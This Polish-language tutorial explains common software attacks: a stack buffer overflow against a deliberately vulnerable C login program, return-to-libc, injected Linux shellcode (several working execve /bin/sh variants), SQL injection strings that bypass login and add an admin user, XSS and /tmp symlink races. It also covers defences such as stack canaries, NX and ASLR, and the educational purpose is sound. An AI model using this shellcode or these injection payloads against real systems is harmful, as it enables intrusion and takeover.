Najpopularniejsze metody ataków

Omówione wcześniej błędy w oprogramowaniu mogą zostać wykorzystane do przeprowadzenia wielu groźnych dla systemu komputerowego a nawet dla Globalnej Sieci ataków. Poniżej omówimy kilka najczęściej spotykanych i najbardziej uciążliwych.

Atak przez przepełnienie bufora

Rys. 1. Wygląd pamięci programu przy poprawnym wykonaniu
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main()
adres powrotu z readuser()
zmienne lokalne readuser()
zmienna ok
bufor user
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

Właściwie każdy program musi w czasie swojego wykonywania co najmniej raz wczytać i przeparsować lub w inny sposób przetworzyć jakieś dane (często zapisane w niestandardowym formacie, który nie występuje nigdzie indziej). Na ogół potrzebuje do tego co najmniej jednego bufora tymczasowego, bardzo często tworzonego na stosie (aby uniknąć kosztów użycia pełnego alokatora pamięci). W wielu językach nie istnieje standardowe pojęcie bufora ani modyfikowalnego łańcucha znakowego z wbudowanym mechanizmem kontroli długości i odpowiednimi funkcjami do operowania na nim. Dlatego programiści używają w tym celu tablicy znakowej a długość liczą (a przynajmniej powinni liczyć) we własnym zakresie. Niestety łatwo prowadzi to do ukrytych błędów i pomyłek w obliczeniach a w skrajnych przypadkach do całkowitego zignorowania problemu kontroli długości przez autora programu.

Podstawową odmianą ataku przez przepełnienie bufora jest atak właśnie na bufor umieszczony na stosie. Na wielu architekturach komputerów (w tym na komputerach PC x86, x86-64) stosy tradycyjnie rosną "w dół" (czyli kolejne wartości odkładane są w kierunku niższych adresów). Z kolei koniec bufora umieszczonego na stosie ma większy adres niż jego początek (czyli wypełnianie bufora idzie "w górę", w kierunku rosnących adresów). Podsumowując: jeśli jakaś funkcja źle kontroluje rozmiar bufora i pozwala go przepełnić to atakujący może nadpisać fragment pamięci zawierający wcześniej odłożone na stos dane.

W jaki sposób można to wykorzystać? Okazuje się, że co najmniej na kilka sposobów.

Rozważmy prosty przykład (Linux, kompilator gcc):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void readuser(void)
{
	/* czy należy przyznać dostęp */
	int ok;

	/* nikt przy zdrowych zmysłach nie będzie miał */
	/* nazwy użytkownika dłuższej niż 60 znaków */
	char user[60];

	ok = 0;

	puts("Podaj nazwę użytkownika:");
	gets(user);
	puts(user);

	if (strcmp(user, "root") == 0) {
		ok = 1;
	}

	if (strcmp(user, "r00t") == 0) {
		ok = 1;
	}

	if (ok) {
		puts("Dostęp przyznany.");
	} else {
		puts("Dostęp NIE przyznany.");
	}
}

int main(void)
{
	readuser();
	puts("Koniec.");
	return 0;
}

Program sprawdza czy podana nazwa użytkownika to root albo r00t i jeśli tak jest przyznaje dostęp a w przeciwnym wypadku tego dostępu odmawia. Jak łatwo zauważyć w programie tym pominięto kontrolę zakresu bufora user poprzez użycie przestarzałej funkcji gets(), która nie dokonuje tego typu sprawdzeń. Zostajemy zresztą o tym ostrzeżeni przez linker:

$ gcc access.c -o access -static -Wall
/tmp/ccPtH5MS.o: In function `readuser':
access.c:(.text+0x22): warning: the `gets' function is dangerous and should not be used.

Przy normalnym korzystaniu z takiego programu zachowuje się on poprawnie i luka ta może pozostać niezauważona przez lata:

$ ./access
Podaj nazwę użytkownika:
test
test
Dostęp NIE przyznany.
Koniec.
$ ./access
Podaj nazwę użytkownika:
root
root
Dostęp przyznany.
Koniec.
$ ./access
Podaj nazwę użytkownika:
r00t
r00t
Dostęp przyznany.
Koniec.

Cóż się jednak stanie gdy do bufora zapiszemy więcej niż 60 znaków?

Przy 60 znakach wszystko jeszcze będzie "ok":

$ echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./access
Podaj nazwę użytkownika:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dostęp NIE przyznany.
Koniec.

Ale już przy 61...

$ echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./access
Podaj nazwę użytkownika:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dostęp przyznany.
Koniec.
Rys. 2. Wygląd pamięci programu po wpisaniu 61 znaków A
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main()
adres powrotu z readuser()
zmienne lokalne readuser()
zmienna ok (A)
bufor user (A)
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

... uzyskaliśmy dostęp podając całkowicie błędną nazwę użytkownika!

Jak można to wytłumaczyć? Ciąg liter A najpierw wypełnił cały bufor (pierwsze 60 liter) a następnie nadpisał jeden bajt za buforem (ostatnia litera). Bezpośrednio za buforem znajdował się obszar 4 bajtów pamięci przeznaczony na wcześniej zdefiniowaną zmienną (ok). W ten sposób nadana jej została wartość różna od zera i test w ostatniej instrukcji if dał wynik pozytywny.

Z powyższego faktu należy wyciągnąć co najmniej dwa wnioski. Jeden, że nawet tak niewinnie wyglądające niedopatrzenie może być z łatwością wykorzystane przez kogoś do zmiany przepływu sterowania w naszym programie. Drugi to taki, że jak widać w tym przykładzie, nawet pomyłka o jeden bajt w liczeniu długości bufora może nas bardzo drogo kosztować. Oczywiście rozkład zmiennych na stosie zależy od języka programowania, kompilatora, systemu operacyjnego, zastosowanych optymalizacji i wielu innych czynników. Ale w rękach zdolnego użytkownika tego typu "prezent" może być bardzo niebezpieczny.

 

Adres powrotu z funkcji

To jednak nie koniec ciekawych i oryginalnych możliwości wykorzystania naszego małego programu.

Zacznijmy od kilku eksperymentów. Na początek do bufora wpiszemy 75 liter A:

$ echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./access
Podaj nazwę użytkownika:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dostęp przyznany.
Koniec.

Jak widać nic nowego się nie stało. W takim razie spróbujmy 76:

$ echo -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | ./access
Podaj nazwę użytkownika:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dostęp przyznany.
Naruszenie ochrony pamięci (core dumped)

O! Coś nowego. Zobaczmy co powie nam debugger:

$ gdb ./access core
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Using host libthread_db library "/lib/tls/libthread_db.so.1".

Failed to read a valid object file image from memory.
Core was generated by `./access'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048300 in main ()
(gdb) info registers
eax            0x13     19
ecx            0x0      0
edx            0x80b4160        134955360
ebx            0x0      0
esp            0xaf9a4e30       0xaf9a4e30
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x8048300        0x8048300 <main+12>
eflags         0x210282 [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/xb 0xaf9a4e20
0xaf9a4e20:     0x41
(gdb) x/xb
0xaf9a4e21:     0x41
(gdb) x/xb
0xaf9a4e22:     0x41
(gdb) x/xb
0xaf9a4e23:     0x41
(gdb) x/xb
0xaf9a4e24:     0x41
(gdb) x/xb
0xaf9a4e25:     0x41
(gdb) x/xb
0xaf9a4e26:     0x41
(gdb) x/xb
0xaf9a4e27:     0x41
(gdb) x/xb
0xaf9a4e28:     0x41
(gdb) x/xb
0xaf9a4e29:     0x41
(gdb) x/xb
0xaf9a4e2a:     0x41
(gdb) x/xb
0xaf9a4e2b:     0x41
(gdb) x/xb
0xaf9a4e2c:     0x00
(gdb) x/xb
0xaf9a4e2d:     0x83
(gdb) x/xb
0xaf9a4e2e:     0x04
(gdb) x/xb
0xaf9a4e2f:     0x08
(gdb) x/xb
0xaf9a4e30:     0xb0
(gdb) x/xb
0xaf9a4e31:     0x89
(gdb) x/xb
0xaf9a4e32:     0x04
(gdb) x/xb
0xaf9a4e33:     0x08
(gdb) x/xb
0xaf9a4e34:     0x50
(gdb) x/xb
0xaf9a4e35:     0x4e
(gdb) disassemble main
Dump of assembler code for function main:
0x080482f4 <main+0>:    lea    0x4(%esp),%ecx
0x080482f8 <main+4>:    and    $0xfffffff0,%esp
0x080482fb <main+7>:    pushl  0xfffffffc(%ecx)
0x080482fe <main+10>:   push   %ebp
0x080482ff <main+11>:   mov    %esp,%ebp
0x08048301 <main+13>:   push   %ecx
0x08048302 <main+14>:   sub    $0x4,%esp
0x08048305 <main+17>:   call   0x8048228 <readuser>
0x0804830a <main+22>:   movl   $0x809bed7,(%esp)
0x08048311 <main+29>:   call   0x8048e10 <puts>
0x08048316 <main+34>:   mov    $0x0,%eax
0x0804831b <main+39>:   add    $0x4,%esp
0x0804831e <main+42>:   pop    %ecx
0x0804831f <main+43>:   pop    %ebp
0x08048320 <main+44>:   lea    0xfffffffc(%ecx),%esp
0x08048323 <main+47>:   ret
0x08048324 <main+48>:   nop
End of assembler dump.
Rys. 3. Wygląd pamięci programu po wpisaniu 76 znaków A
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main()
adres powrotu z readuser() (0)
zmienne lokalne readuser() (A)
zmienna ok (A)
bufor user (A)
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

Patrząc na ten wydruk od razu można zauważyć dlaczego nasz program zakończył się błędem ochrony: adres obecnie wykonywanej instrukcji to 0x8048300, czyli pomiędzy instrukcjami o adresach 0x080482ff a 0x08048301. Powstała w ten sposób zapewne jakaś niezrozumiała dla procesora instrukcja, która wywołała odpowiednie przerwanie i w konsekwencji sygnał SIGSEGV.

Jak jednak do tego doszło? Popatrzmy na stos. Widzimy, że pod adresem 0xaf9a4e2c znajduje się ciąg bajtów (w zapisie little endian) odpowiadający właśnie liczbie 0x8048300. Nasuwa się nam podejrzenie, że jest to popsuty adres powrotu z funkcji readuser. Powinien on wynosić 0x0804830a (czyli adres następnej instrukcji po call 0x8048228 <readuser>). Coś zatem zmieniło pierwszy bajt z 0x0a na 0x00.

Wracając do wydruku stosu widzimy, że przed tym bajtem 0x00 znajdują się bajty 0x41. Tak się składa, że 0x41 to kod litery A w systemie ASCII. Można zatem (słusznie) podejrzewać, że to końcówka naszego ciągu liter A zajmująca przestrzeń za buforem. Bajt 0x00 został natomiast wstawiony na koniec wczytanego łańcucha przez funkcję gets(). (A to oznacza, że w naszym programie jest jeszcze jeden poważny błąd. Czy wszyscy już widzą? Tak, w komentarzu! W buforze nie ma miejsca na 60 znaków, jest miejsce tylko na 59 znaków oraz na bajt zerowy!)

Z całej tej historii wynika prosty wniosek: mamy w rękach potężne narzędzie do sterowania programem: możliwość wpływania na to co program wykona wracając z funkcji zawierającej tego typu błąd. Ten typ ataku nazywany jest często smash stack attack.

Atak return-to-libc

Miłośnicy grzebania w cudzych programach zadadzą sobie natychmiast pytanie: jak to wykorzystać? Okazuje się, że można bardzo prosto, wystarczy wysłać na wejście naszego programu taki oto łańcuch znaków (tu zapis w kodzie szesnastkowym):

$ cat payload.bin | xxd
0000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 708a 0408  ............p...
0000050: 0000 0000 0000 0000                      ........
Rys. 4. Wygląd pamięci programu po wpisaniu danych z pliku payload.bin
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main() (0)
adres powrotu z readuser() (exit())
zmienne lokalne readuser() (0)
zmienna ok (0)
bufor user (0)
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

Oto co się stanie:

$ ./access < payload.bin; echo $?
Podaj nazwę użytkownika:

Dostęp NIE przyznany.
0

Jak widać tym razem nie przyznaliśmy sobie dostępu (to jednak można bardzo prosto naprawić zmieniając jedno z odpowiednich 0 na jakąś inną liczbę). Spowodowaliśmy za to, że program zamiast wrócić z funkcji readuser(), zakończył się (i to zwracając kod wyjścia 0).

Jak tego dokonaliśmy? Bardzo prosto: nadpisaliśmy adres powrotu z funkcji ciągiem bajtów 70 8a 04 08, czyli (zakodowanym jako little endian) adresem funkcji exit() z biblioteki standardowej języka C (ten adres będzie prawdopodobnie trochę inny na każdym komputerze). W ten sposób program zamiast do funkcji main() "wrócił" do funkcji exit(). (Zera po adresie są po to, żeby funkcja exit() myślała, że wywołano ją z parametrem, oznaczającym kod powrotu z programu, równym 0. Oczywiście można tam wpisać jakąś inną liczbę.)

Zademonstrowany wyżej atak w literaturze fachowej określany jest najczęściej jako atak return-to-libc. Pozwala w łatwy i szybki sposób wykonać wiele operacji korzystając z gotowego kodu istniejącego gdzieś w aplikacji. Wymaga właściwie tylko policzenia pozycji adresu powrotu na stosie oraz poznania adresu wywoływanej funkcji. Nie wymaga natomiast znajomości adresu podstawy ani wskaźnika stosu.

Wstrzykiwanie kodu

Czasami jednak wywoływanie istniejących funkcji to, dla atakującego, za mało. Może wtedy pokusić się o przeprowadzenie bardziej skomplikowanego ataku polegającego na wstrzyknięciu do aplikacji własnego kodu a następnie spowodowaniu aby aplikacja go wykonała. Tego typu atak łączy w sobie dwa ważne elementy. Pierwszy (i łatwiejszy) z nich to napisanie wstrzykiwanego kodu, określanego często jako shellcode. Jego nazwa pochodzi stąd, że najczęściej ma on za zadanie uruchomienie powłoki systemowej, tak zwanego shella.

Napisanie prostego shellcode'a nie jest zadaniem skomplikowanym. Przykładowy kod w C:

#include <stdio.h>

void main()
{
	char *name[2];
	name[0] = "/bin/sh";
	name[1] = NULL;

	execve(name[0], name, NULL);
}

można zapisać w assemblerze jako:

	jmp    0x26                     ;  2 bajty
	popl   %esi                     ;  1 bajt
	movl   %esi, 0x8(%esi)          ;  3 bajty
	movb   $0x0, 0x7(%esi)		;  4 bajty
	movl   $0x0, 0xc(%esi)          ;  7 bajtów
	movl   $0xb, %eax               ;  5 bajtów
	movl   %esi, %ebx               ;  2 bajty
	leal   0x8(%esi), %ecx          ;  3 bajty
	leal   0xc(%esi), %edx          ;  3 bajty
	int    $0x80                    ;  2 bajty
	movl   $0x1, %eax		;  5 bajtów
	movl   $0x0, %ebx		;  5 bajtów
	int    $0x80			;  2 bajty
	call   -0x2b                    ;  5 bajtów
	.string \"/bin/sh\"		;  8 bajtów
					; ---------
					; 57 bajtów

co po skompilowaniu i zapisaniu w postaci gotowej do wykorzystania w programie wygląda tak:

char shellcode[] =
	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Ten shellcode ma dwie zasadnicze wady: po pierwsze jest dość długi i nie zawsze zmieści się w przepełnianym buforze. Po drugie zawiera bajty zerowe, które mogą nie przetrwać operacji na łańcuchach znakowych w C (na przykład operacji strcpy()). Można to jednak naprawić zmieniając kilka instrukcji na ich odpowiedniki:

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Powyższy shellcode jest jedną z najczęściej używanych i najbardziej podstawowych wersji działających w Linuksie.

Ale to nie koniec możliwości pisania ciekawych shellcode'ów. Dla przykładu jeśli nasza aplikacja filtruje wejście i przepuszcza tylko litery i cyfry możemy użyć:

char shellcode[] =
	"LLLLYhb0pLX5b0pLHSSPPWQPPaPWSUTBRDJfh5tDS"
	"RajYX0Dka0TkafhN9fYf1Lkb0TkdjfY0Lkf0Tkgfh"
	"6rfYf1Lki0tkkh95h8Y1LkmjpY0Lkq0tkrh2wnuX1"
	"Dks0tkwjfX0Dkx0tkx0tkyCjnY0LkzC0TkzCCjtX0"
	"DkzC0tkzCj3X0Dkz0TkzC0tkzChjG3IY1LkzCCCC0"
	"tkzChpfcMX1DkzCCCC0tkzCh4pCnY1Lkz1TkzCCCC"
	"fhJGfXf1Dkzf1tkzCCjHX0DkzCCCCjvY0LkzCCCjd"
	"X0DkzC0TkzCjWX0Dkz0TkzCjdX0DkzCjXY0Lkz0tk"
	"zMdgvvn9F1r8F55h8pG9wnuvjrNfrVx2LGkG3IDpf"
	"cM2KgmnJGgbinYshdvD9d";

a jeśli zamienia małe litery na duże może się przydać:

char shellcode[] =
	"\xeb\x29"
	"\x5e"
	"\x29\xc9"
	"\x89\xf3"
	"\x89\x5e\x08"
	"\xb1\x07"
	"\x80\x03\x20"
	"\x43"
	"\xe0\xfa"
	"\x29\xc0"
	"\x88\x46\x07"
	"\x89\x46\x0c"
	"\xb0\x0b"
	"\x87\xf3"
	"\x8d\x4b\x08"
	"\x8d\x53\x0c"
	"\xcd\x80"
	"\x29\xc0"
	"\x40"
	"\xcd\x80"
	"\xe8\xd2\xff\xff\xff"
	"\x0f\x42\x49\x4e\x0f\x53\x48";

Podobnych przyładów jest dużo więcej.

Gdy już posiadamy kod, który chcemy umieścić i wykonać w działającej aplikacji możemy przejść do trudniejszego elementu: zmuszenia aplikacji do wykorzystania naszego kodu. Aby to zrobić musimy nadpisać adres powrotu z funkcji adresem, pod którym znajduje się shellcode (czyli najczęściej, choć nie zawsze, adresem początku przepełnianego bufora).

Ten adres atakujący musi po prostu zgadnąć (na przykład metodą prób i błędów albo pisząc podobny kod do tego, który można znaleźć w ofierze). Jednak zadanie atakującego w dystrybucjach Linuksa wyposażonych w jądra nowsze niż 2.6.12 zostało znacznie utrudnione ponieważ podstawa stosu programów jest w tych systemach umieszczana pod losowym adresem. Można się o tym przekonać wykonując następujący program:

#include <stdlib.h>
#include <stdio.h>

unsigned long get_sp(void)
{
	__asm__("movl %esp, %eax");
}

int main(void)
{
	printf("0x%lx\n", get_sp());
	return 0;
}

(należy zauważyć, że przedstawiony program nie należy do przykładów dobrego stylu programowania, szczególnie jeśli chodzi o użycie assemblera wbudowanego w kompilator gcc). Przykładowe wyniki (jądro 2.6.18):

$ ./sp
0xaf8c1d38
$ ./sp
0xafb95818
$ ./sp
0xafa60ed8
$ ./sp
0xafcd1148

co daje co najmniej kilkanaście milionów możliwych kombinacji (a na maszynach 64 bitowych dużo, dużo więcej).

Rys. 5. Wygląd pamięci programu po wpisaniu shellcode'a
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main()
adres powrotu z readuser() (user)
zmienne lokalne readuser() (0)
zmienna ok (0)
bufor user (shellcode)
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

Dlatego do przeprowadzenia ataku najlepiej użyć automatu (wiele gotowych można zdobyć w Sieci, można też napisać własny), który będzie do skutku próbował uruchomić powłokę. Oto przykład udanego ataku:

$ ./try ./access
...
Podaj nazwę użytkownika:

Dostęp przyznany.
sh-3.1$ ps
    PID TTY          TIME CMD
  28090 pts/3    00:00:01 bash
  10362 pts/3    03:12:33 try
  15008 pts/3    00:00:00 sh
  15010 pts/3    00:00:00 ps
sh-3.1$ exit
$

Jak widać po przeprowadzeniu bardzo wielu prób udało się w końcu trafić na odpowiednie ułożenie stosu i uzyskać dostęp do powłoki.

Atak przez przepełnienie stosu i nadpisanie pamięci jest bardzo niebezpieczny i szczególnie często wykorzystywany. Używa go na przykład większość robaków internetowych jak również spora ilość włamywaczy. Błąd przepełnienia bufora nazwany nawet został "błędem dekady lat '90".

Sposoby obrony

Na popularność ataków przez przepełnienie bufora wpływa zapewne kilka czynników. Jednym z nich jest na pewno duża liczba podatnych na ten rodzaj ataków aplikacji (szczególnie wśród zamkniętego oprogramowania), innym brak wygórowanych wymagań wstępnych do jego przeprowadzenia (wystarczy możliwość wysłania do aplikacji odpowiednio spreparowanych danych) a także to, że popularne systemy operacyjne, biblioteki czy języki programowania i kompilatory jeszcze do niedawna nie robiły wystarczająco dużo by tego typu atakom skutecznie przeciwdziałać.

Rys. 6. Wygląd pamięci programu po wpisaniu danych z pliku payload.bin do programu zabezpieczonego przez kompilator
koniec pamięci
(wysokie adresy)
 
podstawa stosu
adres powrotu z main()
zmienne lokalne main()
adres powrotu z readuser() (0)
kanarek (exit())
zmienne lokalne readuser() (0)
zmienna ok (0)
bufor user (0)
wierzchołek stosu
 
dane alokowane dynamicznie
dane programu
kod programu
początek pamięci
(niskie adresy)

Oczywiście najlepszym sposobem zabezpieczenia programu jest pisanie bezpiecznego, dobrze przemyślanego i starannie zaprojektowanego kodu. Jeśli aplikacja jest już napisana przydatne może okazać się zamówienie audytu bezpieczeństwa u odpowiednio wykwalifikowanego specjalisty. Oczywiście te sposoby nie zawsze są całkowicie skuteczne, wymagają czasu, odpowiednio wykształconej kadry, dostępu do kodów źródłowych aplikacji i bibliotek i innych zasobów. Oprócz tego nawet najlepsi ludzie popełniają czasami błędy.

Z tego powodu dobrze gdy działania programisty wspiera kompilator i linker. Po pierwsze powinny one ostrzegać przed użyciem niebezpiecznych konstrukcji czy funkcji. Po drugie mogą tak modyfikować generowany przez siebie kod, aby przeprowadzenie ataku stawało się znacznie trudniejsze. Przykładem mogą być łatki typu SSP i podobne, które zabezpieczają adresy powrotów z funkcji poprzez umieszczenie przed nimi losowej liczby (tak zwanego kanarka). Jeżeli przy wychodzeniu z funkcji jej wartość zmieniła się, oznacza to że ktoś celowo lub przypadkowo nadpisał fragment stosu. Wtedy program jest zatrzymywany (nawet bez wykonywania destruktorów i funkcji zarejestrowanych przez aexit(), ponieważ one też mogły zostać zmodyfikowane). Warto dodać, że zabezpieczenie tego typu jest, od wersji 4.1 standardowo wbudowane w gcc i na ogół powoduje pomijalnie niewielkie spowolnienie programu.

Aby przetestować to zabezpieczenie wywołamy nasz program jeszcze raz, z tymi samymi danymi powodującymi powrót do funkcji exit(). Ale najpierw skompilujemy program z opcją -fstack-protector-all:

$ gcc access.c -o access -static -Wall -fstack-protector-all
/tmp/ccCue7J6.o: In function `readuser':
access.c:(.text+0x2d): warning: the `gets' function
 is dangerous and should not be used.

Próba wykonania takiego programu kończy się błędem:

$ ./access < payload.bin; echo $?
Podaj nazwę użytkownika:

Dostęp NIE przyznany.
*** stack smashing detected ***: ./access terminated
Przerwane (core dumped)
134

i awaryjnym zakończeniem programu.

Nie do przecenienia jest także wsparcie ze strony systemu operacyjnego. Po pierwsze może on (szczególnie jeśli procesor posiada bit NX lub podobny) odebrać prawa do wykonywania stron zawierających stos i dane. To powoduje, że wstrzyknięcie kodu do bufora nic nie da ponieważ nigdy nie zostanie on wykonany. Od dłuższego czasu tego typu zabezpieczenie (na odpowiednio nowym sprzęcie) oferuje standardowe jądro Linuksa. Również system Windows XP dorobił się tego zabezpieczenia wraz z dodatkiem SP2. Szkoda tylko, że w tym ostatnim przypadku trzeba je dość szybko wyłączyć ponieważ nie współpracuje ono z dużą ilością, szczególnie starszych programów.

Kolejnym ważnym ogniwem w obronie przed tego typu atakami, stosowanym przez najnowsze systemy operacyjne, jest randomizowanie adresów podstawy stosu i bibliotek. Może to znacząco utrudnić atakującemu odgadnięcie właściwych adresów. Wprawdzie radomizacja nie zapobiegnie atakowi zdolnego i zdesperowanego hackera ale powinna znacząco wydłużyć czas trwania takiego ataku i spowodować zapisanie do logów systemowych wielu milionów ostrzeżeń, a tym samym dać czas na reakcję administratorowi. Wystarczająco "losowa" randomizacja może natomiast całkowicie zatrzymać część automatycznych ataków przeprowadzanych przez robaki i wirusy. "Wystarczająco losowa" oznacza "generująca minimum kilkanaście milionów potencjalnych adresów", a nie kilkaset jak w wersji zaimplementowanej podobno w Windows Vista (ponieważ kilkaset kombinacji może na ogół zostać sprawdzonych w czasie krótszym niż sekunda). Jeśli chodzi o Linuksa to od jądra 2.6.12 losowe jest położenie podstawy stosu. Trwają też prace nad wprowadzeniem poprawek pozwalających na ładowanie bibliotek pod losowe adresy (w sposób mało ingerujący w istniejący kod jądra i powodujący kłopoty z jak najmniejszą liczbą aplikacji). Jednak tego typu zabezpieczenia dostępne są już od kilku lat w ramach takich pakietów łatek jak PaX czy GrSecurity.

Ataki typu injection

Kolejnym przykładem niebezpiecznego ataku jest atak typu injection czyli przemycenie w danych przekazywanych do programu czegoś co gdzieś w programie wykona zupełnie niespodziewane dla autora operacje. Atak ten jest na ogół konsekwencją istnienia dwóch błędów: po pierwsze złego sprawdzania danych wejściowych a po drugie niewłaściwego ich używania, a najczęściej wklejania ich bez modyfikacji do różnego typu parserów. Istnieje wiele wariantów tego ataku, do najpopularniejszych należą SQL injection (przy konstruowaniu zapytań SQL) oraz shell code injection (przy wywoływaniu programów z użyciem powłoki i niewłaściwym przekazywaniu ich parametrów).

Omówimy krótko ten atak na przykładzie SQL injection. Załóżmy, że nasza aplikacja pobiera od użytkownika nazwę użytkownika ($user) i hasło ($passwd) a następnie sprawdza ich poprawność z użyciem poniższego zapytania (notacja zbliżona do PHP, znak . to operator konkatenacji łańcuchów):

	"SELECT * FROM users WHERE user = '" . $user . "' and password = '" . $passwd . "';"

Wszystko będzie dobrze jeśli użytkownik wpisze na przykład wartości "root" i "tajne haslo", ponieważ otrzymamy wtedy poprawne zapytanie SQL, które robi to co chcemy:

	"SELECT * FROM users WHERE user = 'root' and password = 'tajne haslo';"

Możemy jednak mieć mniej szczęścia i użytkownik może wpisać na przykład "root'; --" i "niewazne":

	"SELECT * FROM users WHERE user = 'root'; --' and password = 'niewazne';"

... i tym sposobem otrzymać nieuprawniony dostęp do systemu (przypominam, że -- w SQLu oznacza początek komentarza). A jeśli chce "pobawić" się naszym systemem dłużej to może nawet dodać sobie nowego użytkownika, na przykład w taki sposób:

	"SELECT * FROM users WHERE user = 'root';
		INSERT INTO users (user, password, admin)
		VALUES ('hacker', 'haslo', 1);
		--' and password = 'niewazne';"

albo wykonać jakąkolwiek inną operację na naszej bazie danych.

Na szczęście obrona przed tego typu atakami jest bardzo prosta: wystarczy nie konstruować zapytań SQL w ten sposób a zamiast tego korzystać z wbudowanych w większość nowych sterowników do baz danych metod przygotowywania zapytań prekompilowanych lub przynajmniej funkcji eskejpujących dane pobierane od użytkownika. Mimo tego błędy pozwalające na wykonanie ataków SQL injection istnieją w ogromnej ilości aplikacji webowych i portali, włączając w to nawet 7thguard.net, do którego włamano się niedawno właśnie w ten sposób.

XSS - cross site scripting

Podobny do ataku typu injection jest atak cross site scripting (często stosowany skrót: XSS, nie mylić z kaskadowymi arkuszami stylów CSS). Zasadnicza różnica pomiędzy nimi jest taka, że w ataku cross site scripting ofiarą jest nieświadomy użytkownik korzystający z popularnej strony (na przykład forum, wiki), na której innemu użytkownikowi udało się (z powodu niedostatecznego sprawdzania danych wejściowych przez tą stronę) umieścić kod HTML wywołujący jakiś skrypt lub wykorzystujący jedną z luk w przeglądarkach.

Najlepszą obroną przed tym atakiem jest jak najbardziej ścisłe sprawdzanie danych wejściowych i filtrowanie wszelkiego kodu HTML po stronie serwera i ograniczanie uprawnień skryptów po stronie przeglądarki.

Wykorzystywanie wyścigów

W systemach komputerowych, a w szczególności na dużych serwerach, na ogół równolegle wykonują się aplikacje wielu różnych użytkowników. Są one w dużym stopniu odizolowane: na przykład każdy użytkownik posiada z reguły oddzielny katalog domowy. Występują jednak pewne zasoby, takie jak katalog /tmp, numery portów TCP i UDP i kilka innych, które są współdzielone przez wszystkich użytkowników.

Dlatego ważne jest aby korzystając z zasobów, szczególnie z tych współdzielonych, zachować ostrożność i nie narazić się na jakiś atak. Klasycznym przykładem może być właśnie tworzenie przewidywalnych nazw plików tymczasowych. Jeśli jakiś program administratora (albo program z ustawionym bitem suid) tworzy za każdym razem plik tymczasowy /tmp/a, to ktoś może utworzyć tam wcześniej link symboliczny z tą samą nazwą, prowadzący na przykład do /etc/shadow. Jeśli program administratora zachowa się nieostrożnie to może korzystając z /tmp/a nadpisać plik z hasłami użytkowników i spowodować co najmniej awarię systemu.

Z tego właśnie powodu zarówno programy, jak i administratorzy w czasie wykonywania swoich obowiązków, powinni unikać postępowania w sposób deterministyczny. Oprócz tego programy powinny tak korzystać z współdzielonych zasobów aby szanse powodzenia takiego ataku były minimalne (na przykład otwierać plik z flagą O_EXCL, nie podrażać za linkami symbolicznymi jeśli nie ma takiej potrzeby i tak dalej).

Ataki typu DOS i DDOS

Ostatnią klasą ataków, które omówimy są ataki typu DOS (denial of service - zmuszenie systemu do odmowy świadczenia usług) i DDOS (distributed denial of service - rozproszona wersja ataku DOS).

